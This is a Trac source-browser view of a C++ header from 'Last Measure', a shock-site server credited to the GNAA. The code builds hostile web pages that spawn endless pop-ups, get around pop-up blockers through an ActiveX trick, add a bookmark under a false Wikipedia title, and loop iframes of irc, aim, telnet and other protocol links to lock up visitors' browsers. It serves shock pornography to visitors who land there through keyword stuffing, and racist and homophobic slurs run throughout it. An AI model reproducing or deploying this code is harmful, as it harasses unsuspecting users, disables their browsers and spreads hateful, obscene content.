source: trollforge/lastmeasure/server/lmresource.h @ 626

Revision 626, 24.4 KB checked in by literalka, 17 months ago (diff)

more keywords, a lot of people seem to search

for porn and get lm'd instead lol

  • Property svn:keywords set to Id
Line 
1/* XXX:
2 * `if_ie6 == true', should we use `showModelessDialog()'?
3 * `showModelessDialog()' was used in LastMeasure 3.4 to avoid Internet
4 *  Explorer's pop-up blockers. goat-see's comment remains, yet
5 *  `showModelessDialog()' is not used anywhere in the code.
6 */
7#include <string>
8#include <sstream>
9#include <fstream>
10#include <iostream>
11#include <streambuf>
12
13#include "lmkeywords.h"
14
15#ifndef SOFT
16static size_t imagecount = 33;
17#else
18static size_t imagecount = 13;
19#endif
20
21static size_t audiocount = 16;
22
23static char const *staticnames[] =
24{
25#ifndef SOFT
26    /* Static images - 33 */
27    "/images/awesome.jpg",    "/images/Pain4.jpg",
28    "/images/balloonboy.jpg", "/images/Pain5.jpg",
29    "/images/christmas.jpg",  "/images/Pain.jpg",
30    "/images/freak.jpg",      "/images/penisbird.gif",
31    "/images/harlequin1.jpg", "/images/pillowfight.jpg",
32    "/images/harlequin2.jpg", "/images/pooped.jpg",
33    "/images/harlequin3.jpg", "/images/rustina.jpg",
34    "/images/harlequin4.jpg", "/images/smile.jpg",
35    "/images/harlequin.jpg",  "/images/spin.gif",
36    "/images/hello.jpg",      "/images/stopracism.jpg",
37    "/images/hotblowjob.jpg", "/images/stretch.jpg",
38    "/images/kiss.jpg",       "/images/tubgirl.jpg",
39    "/images/lemonparty.jpg", "/images/Untitled.jpg",
40    "/images/loopback.jpg",   "/images/weightlifter.jpg",
41    "/images/Pain2.jpg",      "/images/zoidberg.jpg",
42    "/images/Pain3.jpg",      "/images/jar.jpg",
43    "/images/lunch.jpg",
44#else
45    /* Static soft images - 13 */
46    "/soft/christmas.jpg",    "/soft/pillowfight.jpg",
47    "/soft/eww.jpg",          "/soft/pooped.jpg",
48    "/soft/freak.jpg",        "/soft/rustina.jpg",
49    "/soft/hello.jpg",        "/soft/spin.gif",
50    "/soft/lemonparty.jpg",   "/soft/tubgirl.jpg",
51    "/soft/loopback.jpg",     "/soft/weightlifter.jpg",
52    "/soft/ouch.jpg",
53#endif
54
55    /* Static sound samples - 16 */
56    "/audio/abez2.wav",    "/audio/abez.wav",
57    "/audio/blackman.wav", "/audio/eska.wav",
58    "/audio/fury.wav",     "/audio/jesuitx1.wav",
59    "/audio/jesuitx2.wav", "/audio/jizzy.wav",
60    "/audio/kirk.wav",     "/audio/lolichan.wav",
61    "/audio/original.wav", "/audio/popeye.wav",
62    "/audio/rkz.wav",      "/audio/rucas.wav",
63    "/audio/sam.wav",      "/audio/trogg.wav",
64
65    /* <iframe> */
66    "/lm.pdf",
67    "/lm2.pdf",
68    "/jews.wmv",
69    "/gnaa.mp3",
70
71    /* Other static files */
72    "/flash/first_opener.swf",
73    "/flash/second_opener.swf",
74    "/flash/hello.swf",
75    "/flash/hey.swf",
76
77    "/LastCoffee.class",
78    "/gnaa.png",
79
80    "/favicon.ico",
81    "/robots.txt",
82
83    "/index.php",
84};
85
86typedef std::pair<std::string,std::string> Response;
87
88class Resources
89{
90public:
91    static void LoadAll()
92    {
93        for (size_t i = 0; i < NSTATICS; i++)
94        {
95            /* Skip leading / when opening local files */
96            std::ifstream t(staticnames[i] + 1);
97            m_statics[i] = std::string((std::istreambuf_iterator<char>(t)),
98                                       std::istreambuf_iterator<char>());
99        }
100    }
101
102    static Response Get(char const *resource, char const *query,
103                        char const *host, char const *agent)
104    {
105        /* Special case for server status (TODO) */
106        if (!strcmp(resource, "/server-status")
107             || !strcmp(resource, "/server-status/"))
108        {
109            return Response("SERVER STATUS UNAVAILABLE FOR NOW", "text/html");
110        }
111
112        /* Special case for static resources */
113        for (size_t i = 0; i < NSTATICS; i++)
114        {
115            if (!strcmp(resource, staticnames[i]))
116            {
117                return Response(m_statics[i], MimeType(resource));
118            }
119        }
120
121        /* Is this a pop-up? */
122        bool is_popup = (strstr(query, "popup=1") > 0);
123
124        char const *flash;
125
126        /* Is the browser IE 6 or better? */
127        char const *parser = strstr(agent, " MSIE ");
128        bool is_ie6 = parser && (atoi(parser + strlen(" MSIE ")) >= 6);
129
130        /* Sending stuff */
131        std::stringstream data("");
132
133        data <<
134
135    "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\""
136    "\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\r\n"
137    "<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"en\" xml:lang=\"en\">\r\n"
138
139    "  <head>\r\n"
140    "    <title>GNAA Last Measure Live!</title>\r\n"
141    "    <meta name=\"keywords\" content=\"" << Keywords(128) << "\" />\r\n"
142    "    <meta name=\"description\" content=\"" << Keywords(20) << "\" />\r\n"
143    "    <script type=\"text/javascript\">\r\n" << JavaScript(host) <<
144    "    </script>\r\n"
145    "    <link rel=\"icon\" type=\"image/x-icon\" "
146             "href=\"http://" << host << "/favicon.ico\" />\r\n"
147    "    <link rel=\"shortcut icon\" type=\"image/x-icon\" "
148             "href=\"http://" << host << "/favicon.ico\" />\r\n"
149    "    <style type=\"text/css\">\r\n"
150    "      html { height: 100%; width: 100%; overflow: hidden; }\r\n"
151    "      body { height: 100%; width: 100%; margin: 0; padding: 0; }\r\n"
152    "    </style>\r\n"
153    "  </head>\r\n"
154
155    "  <body style=\"background-image: url(http://" << host
156#ifndef SOFT
157          << RandomAsset("/images/") << "); background-color: #FFFFFF;\""
158#else
159          << RandomAsset("/soft/") << "); background-color: #FFFFFF;\""
160#endif
161    "\r\n        onload=\"bookmark(); noframes(); load_goatse(); document.goatse.reset(); movew0w(); ";
162        if (is_ie6)
163            data << "setTimeout('main()', 100); ";
164        if (!is_popup)
165            data << "print(); ";
166        data <<
167    "setTimeout('ruin()', 20);\"\r\n"
168    "        onmousemove=\"document.goatse.reset(); movew0w(); procreate();\"\r\n"
169    "        onkeydown=\"molish(); procreate();\"\r\n"
170    "        onunload=\"document.goatse.reset(); movew0w(); procreate();\"\r\n"
171    "        onmouseover=\"document.goatse.reset(); movew0w(); procreate();\">\r\n";
172
173        data << MoveAround(800, 600, host);
174        data << ActivateApplets();
175        if (is_ie6) /* XXX: Do these things even work in the newer versions of IE? -- Leon */
176        {
177            data << PopupBypasser(host);
178            data << DivertOnload();
179        }
180
181    data <<
182
183    "<table>\r\n"
184    "    <tr>\r\n"
185    "        <td valign=\"middle\">\r\n"
186    "            <div style=\"text-align: center;\">\r\n"
187    "                <a href=\"http://www.gnaa.eu/\"><img src=\"http://" << host << "/gnaa.png\" alt=\"GNAA\" /></a>\r\n"
188    "                <br />\r\n"
189    "                <br />\r\n";
190
191    if (is_popup)
192    {
193        flash = "second_opener.swf";
194    } else {
195        flash = "first_opener.swf";
196    }
197
198    if(!is_ie6)
199    {
200        data <<
201
202        "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" "
203        "codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\">\r\n"
204        "    <param name=\"movie\" value=\"http://" << host << "/flash/" << flash << "\" />\r\n"
205        "    <param name=\"quality\" value=\"high\" />\r\n"
206        "</object>\r\n";
207    }
208
209    data <<
210
211    "            </div>\r\n"
212    "        </td>\r\n"
213    "    </tr>\r\n"
214    "</table>\r\n";
215
216        if (!is_popup)
217        {
218            data <<
219
220            "<div>\r\n"
221// This object plays the "hey everybody, I'm looking at gay porno!" sound
222            "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" "
223            "codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\" width=\"1\" height=\"1\" id=\"hey\">\r\n"
224            "    <param name=\"movie\" value=\"http://" << host << "/flash/hey.swf\" />\r\n"
225            "    <param name=\"quality\" value=\"high\" />\r\n"
226            "</object>\r\n"
227            "<script type=\"text/javascript\">\r\n"
228            "<!--\r\n"
229            "var audio = new Array();\r\n"
230            "var audiocount = " << audiocount << ";\r\n";
231
232            for(size_t i = 0; i < audiocount; i++) {
233                data << "    audio[" << (i+imagecount) << "] = 'http://" << host << "" << staticnames[i+imagecount] << "';\r\n";
234            }
235
236            data <<
237
238            "for (i = 0; i < audiocount; i++) {\r\n"
239            "    setTimeout('document.getElementById(\"audio\").innerHTML += \'<embed src=\"' + audio[i] + '\" loop=\"true\" />\';', 6000 * (i/2));\r\n"
240            "}\r\n"
241            "// -->\r\n"
242            "</script>\r\n"
243            "<div id=\"audio\">\r\n"
244            "</div>\r\n"
245            "<applet code=\"LastCoffee.class\" width=\"100\" height=\"100\" codebase=\"/\" />\r\n"
246            "</div>\r\n"
247            "<div>\r\n"
248            "<iframe style=\"width: 1px; height: 1px;\" src=\"http://" << host << "/lm.pdf\"></iframe>\r\n"
249            "<iframe style=\"width: 1px; height: 1px;\" src=\"http://" << host << "/lm2.pdf\"></iframe>\r\n"
250            "<iframe style=\"width: 1px; height: 1px;\" src=\"http://" << host << "/jews.wmv\"></iframe>\r\n"
251            "<iframe style=\"width: 1px; height: 1px;\" src=\"http://" << host << "/gnaa.mp3\"></iframe>\r\n"
252            "<br />\r\n" << Keywords(128) << "</div>\r\n";
253        }
254
255    data << "  </body>\r\n";
256/* XXX: We should just LM them here, right? -- Leon */
257        data << "<html><body><p>You are asking for "
258             << resource << ". You could also ask for <a href=\"http://"
259             << host << "/" << rand()
260             << "\">something else</a>.</p>"
261#ifndef SOFT
262             << "<img src=\"http://" << host << "" << RandomAsset("/images/") << "\" />"
263#else
264             << "<img src=\"http://" << host << "" << RandomAsset("/soft/") << "\" />"
265#endif
266             << "</body></html>";
267        return Response(data.str(), "text/html");
268    }
269
270    static std::string Keywords(size_t count)
271    {
272        std::stringstream ret("");
273
274        for (size_t i = 0; i < count; i++)
275        {
276            if (i)
277                ret << ", ";
278            ret << keywords[rand() % (sizeof(keywords) / sizeof(*keywords))];
279        }
280
281        return ret.str();
282    }
283
284    static std::string JavaScript(char const *host)
285    {
286        std::stringstream ret("");
287
288        ret <<
289/*
290 * Let's figure out what the fuck kind of browser the poor plebes are using. :(
291 *  MSIE gets a special kind of Last Measure where I start off with a
292 *  `ModelessDialog' and pop up from it.
293 *  Gets around Google Toolbar.
294 *              -- goat-see
295 */
296 "var nom = navigator.appName.toLowerCase();\r\n"
297 "var agt = navigator.userAgent.toLowerCase();\r\n"
298 "var is_major  = parseInt(navigator.appVersion);\r\n"
299 "var is_minor  = parseFloat(navigator.appVersion);\r\n"
300 "var is_ie     = (agt.indexOf('msie') != -1);\r\n"
301 "var is_ie4up  = (is_ie && (is_major >= 4));\r\n"
302 "var is_nav    = (nom.indexOf('netscape')!=-1);\r\n"
303 "var is_nav4   = (is_nav && (is_major == 4));\r\n"
304 "var is_mac    = (agt.indexOf('mac')!=-1);\r\n"
305 "var is_gecko  = (agt.indexOf('gecko') != -1);\r\n"
306
307 //  GECKO REVISION
308 "var is_rev = 0;\r\n"
309
310 "if (is_gecko) {\r\n"
311 "    temp = agt.split('rv:');\r\n"
312 "    is_rev = parseFloat(temp[1]);\r\n"
313 "}\r\n"
314
315 "function bookmark() {\r\n"
316 //"      if (is_ie4up) {"
317 "    window.external.AddFavorite(self.location.href, 'Wikipedia, the free encyclopedia');\r\n"
318 //"      }"
319 "}\r\n"
320
321 "function molish() {\r\n"
322 "    credits = \"LAST MEASURE UNIFIED X-2, by LiteralKa and sam.\\n\";\r\n"
323 "    credits += \"Starring:\\n\";\r\n"
324 "    credits += \"Balloon Boy, Huge_Midget's \\"Pain Series\\", Kevin Klerck (spin.gif), Kirk Johnson,\\n\";\r\n"
325 "    credits += \"Lemonparty, Loopback, Penisbird, Pillowfight, Rusty's Wife, The Harlequin Fetus,\\n\";\r\n"
326 "    credits += \"The Shitfaced Lady, Tubgirl, and much, much more!\\n\";\r\n"
327 "    credits += \"\\n\\n\";\r\n"
328 "    credits += \"Multiple \\"HEY EVERYBODY...\\" clips by abez, blackman, eska, fury, JesuitX, JiZZy,\\n\";\r\n"
329 "    credits += \"kirk, lolichan, \\"original\\", popeye, rkz, Rucas, sam, and trogg.\\n\";\r\n"
330 "    credits += \"\\n\\n\";\r\n"
331 "    credits += \"Pop-up blocker evasion technology by Armorfist, goat-see, and LiteralKa.\\n\";\r\n"
332 "    credits += \"hey.swf by rkz.\\n\";\r\n"
333 "    credits += \"IFRAMEd protocol ruin by incog and LiteralKa.\\n\";\r\n"
334 "    credits += \"LastCoffee by abez and Dessimat0r.\\n\";\r\n"
335 "    credits += \"lmserver by sam and LiteralKa.\\n\";\r\n"
336 "    credits += \"PDF Ruin by JacksonBrown and Jmax.\\n\";\r\n"
337 "    credits += \"Stats Measure by Jmax and timecop.\\n\";\r\n"
338 "    credits += \"\\n\\n\";\r\n"
339 "    credits += \"Updated by abortion, JacksonBrown, Rolloffle, timecop, weev, and others.\\n\";\r\n"
340 "    credits += \"Previous versions were lead by goat-see (pi), Jmax, Penisbird, Rucas, sam, and Zeikfried.\\n\";\r\n"
341 "    credits += \"Proudly brought to you by the Gay Nigger Association of America.\\n\";\r\n"
342
343 "    switch(event.keyCode) {\r\n"
344 "        case 46:\r\n" // DEL
345 "        case 63272:\r\n" // DEL on the fucked-up Safari browser
346 "            alert(credits);\r\n"
347 "            break;\r\n"
348 "        case 17:\r\n" // CTRL [Or the Apple "CMD", only detected by Opera] NOTE: Opera Mac gives keyCode '0'
349 "        case 18:\r\n" // ALT
350 //"    case 81:" // W (As in "CTRL+W")
351 //"    case 87:" // Q (As in "CTRL+Q")
352 "        case 115:\r\n" // F4
353 "            alert(\"Our lawyer has informed us that we need a warning. So, if "
354                     "you are under the age of 18 or find this offensive, "
355                     "please leave immediately\");\r\n"
356 "            break;\r\n"
357 "    }\r\n"
358 "}\r\n"
359/* XXX Does click() even work? */
360 "function click() {\r\n"
361 "    if(event.which == 3 || event.button == 2) {\r\n"
362 "        return false;\r\n"
363 "    }\r\n"
364 "}\r\n"
365
366 "function procreate() {\r\n"
367 "    for(i = 0; i < 16; i++) {\r\n"
368 "        popUp(\"index.php?popup=1\");\r\n"
369 "    }\r\n"
370 "}\r\n"
371
372 "function popUp(URL) {\r\n"
373 "    day = new Date();\r\n"
374 "    id = day.getTime();\r\n"
375 "    eval(\"page\" + id + \" = window.open(URL, '_blank', 'toolbar=0,scrollbars=0,location=1,statusbar=0,menubar=0,resizable=0,width=640,height=583');\");\r\n"
376 "}\r\n"
377
378 "goatseflash  = \"<div id='hello' style='z-index: 50; position: fixed; top: 0px; left: 0px; width: 100%; height: 100%;'>\";\r\n"
379 "goatseflash += \"  <object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0' width='100%' height='100%'>\";\r\n"
380 "goatseflash += \"    <param name='movie' value='http://" << host << "/flash/hello.swf' />\";\r\n"
381 "goatseflash += \"    <param name='wmode' value='transparent' />\";\r\n"
382 "goatseflash += \"  </object>\";\r\n"
383 "goatseflash += \"</div>\";\r\n"
384
385 "function load_goatse() {\r\n"
386 "    document.body.innerHTML += goatseflash;\r\n"
387 "    setTimeout(\"unload_goatse()\", 3000);\r\n" // 3s
388 "}\r\n"
389
390 "function unload_goatse() {\r\n"
391 "    document.getElementById(\"hello\").style.display = 'none';\r\n"
392 "}\r\n"
393
394 "function noframes() {\r\n"
395 "    if (top.location.hostname != location.hostname)\r\n"
396 "        top.location.href = window.location.href;\r\n"
397 "}\r\n"
398
399 "var protos = [\r\n"
400 "        \"irc://irc.gnaa.eu/gnaa\",\r\n"
401 "        \"irc://irc.freenode.net/freenode?msg=THIS%20CHANNEL%20HAS%20MOVED%20TO%20IRC.HARDCHATS.COM%20#GNAA\",\r\n"
402 //"        \"irc://irc.freenode.net/wikipedia-en?msg=THIS%20CHANNEL%20HAS%20MOVED%20TO%20IRC.HARDCHATS.COM%20#GNAA\",\r\n"
403 "        \"news:alt.flame.niggers\",\r\n"
404 "        \"news:alt.flame.faggots\",\r\n"
405 "        \"mailto:JOIN@THE.GNAA?subject=2012_RECRUITMENT_DRIVE&body=www.gnaa.eu\",\r\n"
406 "        \"callto://JOIN_THE_GNAA__2012_RECRUITMENT_DRIVE\",\r\n"
407 "        \"rlogin://1.1.1.1:80\",\r\n"
408 "        \"telnet://1.1.1.1:80\",\r\n"
409 "        \"mailto:JOIN@THE.GNAA?subject=2012_RECRUITMENT_DRIVE&body=www.gnaa.eu\",\r\n"
410 "        \"ed2k://|file|Gayniggers From Outer Space [GNAA Digitally Remastered].avi|134174720|F8AF9D8A7091CD7A7B8968C9EB397C02|/\",\r\n"
411 "        \"aim:addbuddy?listofscreennames=HY,LOL,HY,LOL,HY,LOL,join,the,GNAA,2012,RECRUITMENT,DRIVE,heartiez2incog,cpurape vo.1 - lncog&groupname=GNAA\",\r\n"
412 "        \"aim:goaway?message=ARE+YOU+GAY%3F+ARE+YOU+A+NIGGER%3F+ARE+YOU+A+GAY+NIGGER%3F\",\r\n"
413 "        \"aim:goim?screenname=bluexox5&message=dont+fuck+with+the+GNAA\"\r\n"
414 "        \"magnet:?xt=urn:btih:4424ecbc11bf0238e36cf2412b248e0c2339c663&dn=Gayniggers.From.Outer.Space.Digitally.Remastered.XviD-NoGrp"
415 "&tr=udp://tracker.openbittorrent.com:80&tr=udp://tracker.publicbt.com:80&tr=udp://tracker.ccc.de:80\",\r\n"
416 "        ];\r\n"
417
418 "function add(str) {\r\n"
419 "    div = document.getElementById('goatse');\r\n"
420 "    div.innerHTML = '<iframe style=\"width: 1; height: 1;\" src=\"' + str + '\"></iframe>';\r\n"
421 "}\r\n"
422
423 "function ruin() {\r\n"
424 "    document.body.innerHTML += '<div id=\"goatse\">yes hello</div>';\r\n"
425 "    while (1) {\r\n"
426 "        for (i = 0; i < protos.length; i++) {\r\n"
427 "            add(protos[i]);\r\n"
428 "        }\r\n"
429 "    }\r\n"
430 "}\r\n";
431
432        return ret.str();
433    }
434
435    static char const *MimeType(char const *resource)
436    {
437        static char const *assoc[] =
438        {
439            ".png", "image/png",
440            ".jpg", "image/jpeg",
441            ".jpeg", "image/jpeg",
442            ".gif", "image/gif",
443            ".wav", "audio/x-wav",
444            ".mp3", "audio/mpeg",
445            ".swf", "application/x-shockwave-flash",
446            ".pdf", "application/pdf",
447            ".wmv", "video/x-ms-wmv",
448            ".class", "application/java-vm",
449            ".ico", "image/x-icon",
450            ".txt", "text/plain",
451            ".bmp", "image/bmp",
452        };
453
454        for (size_t i = 0; i < sizeof(assoc) / sizeof(*assoc); i += 2)
455        {
456            char const *suffix = assoc[i], *test;
457            if ((test = strstr(resource, suffix)) && !test[strlen(suffix)])
458                return assoc[i + 1];
459        }
460
461        return "text/plain";
462    }
463
464    static std::string RandomAsset(char const *prefix)
465    {
466        size_t prefixlen = strlen(prefix);
467
468        for (size_t i = 0; i < 32; i++) // XXX Why 32?
469        {
470            char const *name = staticnames[rand() % NSTATICS];
471            if (!strncmp(name, prefix, prefixlen))
472                return name;
473        }
474
475        return "/";
476    }
477
478    static std::string MoveAround(size_t width, size_t height, char const *host)
479    {
480        std::stringstream ret("");
481
482        ret <<
483
484        "<script type=\"text/javascript\">\r\n"
485        "<!--\r\n"
486        "    var images = new Array();\r\n"
487        "    var imagecount = " << imagecount << ";\r\n";
488
489        for(size_t i = 0; i < imagecount; i++)
490        {
491            ret << "    images[" << i << "] = 'http://" << host << "" << staticnames[i] << "';\r\n";
492        }
493
494        ret <<
495        "var delay = 10;\r\n"
496        "var step = .2;\r\n"
497        "var curstep = 0;\r\n"
498
499        "window.resizeTo(" << width << ", " << height << ");\r\n"
500        "var centerX = (self.screen.width - document.body.clientWidth) / 2;\r\n"
501        "var centerY = (self.screen.height - document.body.clientHeight - 120) / 2;\r\n"
502        "movew0w();\r\n"
503
504        "function movew0w() {\r\n"
505        "    var j;\r\n"
506        "    for (j = 0; j < 5; j++) {\r\n"
507        "        curstep += step / 5;\r\n"
508        "        var factorX = Math.sin(curstep * 6.1) * 0.9;\r\n"
509        "        var factorY = Math.cos(curstep * 3.7) * 0.9;\r\n"
510       
511        "        factorX += 0.2 * Math.sin((20*Math.sin(curstep/20))+j*70)\r\n"
512        "                    * (Math.sin(10+curstep/(10+j))+0.2)\r\n"
513        "                    * Math.cos((curstep + j*25)/10);\r\n"
514        "        factorY += 0.2 * Math.cos((20*Math.sin(curstep/(20+j)))+j*70)\r\n"
515        "                       * (Math.sin(10+curstep/10)+0.2)\r\n"
516        "                       * Math.cos((curstep + j*25)/10);\r\n"
517        "        self.moveTo(centerX * (1.0 + factorX), centerY * (1.0 + factorY));\r\n"
518        "    }\r\n"
519
520        "    document.body.background = images[(Math.floor(curstep) % imagecount) + 1];\r\n"
521        "    setTimeout(\"movew0w()\", delay);\r\n"
522        "}\r\n"
523        "// -->\r\n"
524        "</script>\r\n";
525
526        return ret.str();
527    }
528
529    static std::string ActivateApplets()
530    {
531        std::stringstream ret("");
532
533        ret <<
534
535        "<div>\r\n"
536        "    <object id=\"x\" classid=\"clsid:2D360201-FFF5-11d1-8D03-00A0C959BC0A\" height=\"1\" width=\"1\">\r\n"
537        "        <param name=\"ActivateApplets\" value=\"1\" />\r\n"
538        "        <param name=\"ActivateActiveXControls\" value=\"1\" />\r\n"
539        "    </object>\r\n"
540        "</div>\r\n";
541
542        return ret.str();
543    }
544
545/*  This chunk bypasses pop-ups */
546    static std::string PopupBypasser(char const *host)
547    {
548        std::stringstream ret("");
549
550        ret <<
551
552        "<script type=\"text/javascript\">\r\n"
553        "<!--\r\n"
554        "    function shellscript() {\r\n"
555        "        for(i = 0; i < 5; i++) {\r\n"
556        "            open('http://" << host << "/index.php?popup=1','_blank','scrollbar=no');\r\n"
557        "        }\r\n"
558        "    }\r\n"
559
560        "    function main() {\r\n"
561        "        x.DOM.Script.execScript(shellscript.toString());\r\n"
562        "        x.DOM.Script.setTimeout(\"shellscript()\");\r\n"
563        "        setTimeout(\"main()\", 200);\r\n"
564        "    }\r\n"
565        "// -->\r\n"
566        "</script>\r\n";
567
568        return ret.str();
569    }
570
571    static std::string DivertOnload()
572    {
573        std::stringstream ret("");
574
575        ret <<
576
577        "<script type=\"text/javascript\">\r\n"
578        "<!--\r\n"
579        "    var SymRealOnLoad;\r\n"
580        "    var SymRealOnUnload;\r\n"
581        "    var SymRealWinOpen;\r\n"
582
583        "    function SymOnUnload() {\r\n"
584        "        window.open = SymWinOpen;\r\n"
585        "        if(SymRealOnUnload != null)\r\n"
586        "            SymRealOnUnload();\r\n"
587        "    }\r\n"
588
589        "    function SymOnLoad() {\r\n"
590        "        if(SymRealOnLoad != null)\r\n"
591        "            SymRealOnLoad();\r\n"
592        "        window.open = SymRealWinOpen;\r\n"
593        "        SymRealOnUnload = window.onUnload;\r\n"
594        "        window.onUnload = SymOnUnload;\r\n"
595        "    }\r\n"
596
597        "    SymRealOnLoad = window.onLoad;\r\n"
598        "    window.onLoad = SymOnLoad;\r\n"
599        "// -->\r\n"
600        "</script>\r\n";
601
602        return ret.str();
603    }
604
605    static std::string PopUnder(char const *host)
606    {
607        std::stringstream ret("");
608
609        ret <<
610
611        "var rapeVictim = false;\r\n"
612
613        "function popunder(url) {\r\n"
614        "    if (rapeVictim === true) {\r\n"
615        "        return true;\r\n"
616        "    }\r\n"
617
618        "    var daWindow = window.open(url, \"ljPu\", \"toolbar,status,resizable,scrollbars,menubar,location,height=780,width=1024\");\r\n"
619        "    window.setTimeout(window.focus, 500);\r\n"
620
621        "    if (daWindow) {\r\n"
622        "        daWindow.blur();\r\n"
623        "        rapeVictim = true;\r\n"
624        "    }\r\n"
625
626        "    return daWindow;\r\n"
627        "}\r\n"
628
629        "function doPopUnder() {\r\n"
630        "    var win = popunder('http://" << host << "/');\r\n"
631        "    return true;\r\n"
632        "}\r\n";
633
634        return ret.str();
635    }
636
637/* XXX: Does not work yet.
638 * 06:45:51 <incog> http://stackoverflow.com/questions/1203082/injecting-text-when-content-is-copied-from-web-page
639 * 06:46:19 <incog> stealing the js from this will allo LM to inject whatever it wants into the victims clipboards
640 * 06:47:09 <incog> from ascii art goatse, to more LM urls
641 * 06:47:31 <incog> to a js that generates a random string so big it eats all the ram
642 */
643    static std::string Tynt()
644    {
645        static char const *prefix = "prefix";
646        static char const *suffix = "suffix";
647
648        std::stringstream ret("");
649
650        ret <<
651
652        "<script type=\"text/javascript\">\r\n"
653        "    if(document.location.protocol=='http:'){\r\n"
654        "        var Tynt=Tynt||[];Tynt.push('buPVQ-pnyr4zddacwqm_6l');Tynt.i={\"ap\":\"" << prefix << "\",\"as\":\"" << suffix << "\",\"c\":false,\"t\":true};\r\n"
655        "        (function(){\r\n"
656        "            var s=document.createElement('script');s.async=\"async\";s.type=\"text/javascript\";s.src='http://tcr.tynt.com/ti.js';\r\n"
657        "            var h=document.getElementsByTagName('script')[0];h.parentNode.insertBefore(s,h);})();\r\n"
658        "    }\r\n"
659        "</script>\r\n";
660
661/*
662        "<script type=\"text/javascript\">\r\n"
663        "    tyntVariables = {\"ap\":\"" << prefix << "\",\"as\":\"" << suffix << "\"};\r\n"
664        "</script>\r\n"
665
666        "<script type=\"text/javascript\" src=\"http://tcr.tynt.com/javascripts/Tracer.js?user=aDjyve6yar3BZFab7jrHcU&amp;s=1&amp;st=1&amp;lang=en\"></script>\r\n";
667*/
668
669        return ret.str();
670    }
671
672private:
673    static const size_t NSTATICS = sizeof(staticnames) / sizeof(*staticnames);
674    static std::string m_statics[NSTATICS];
675};
676
677std::string Resources::m_statics[NSTATICS];
678
Note: See TracBrowser for help on using the repository browser.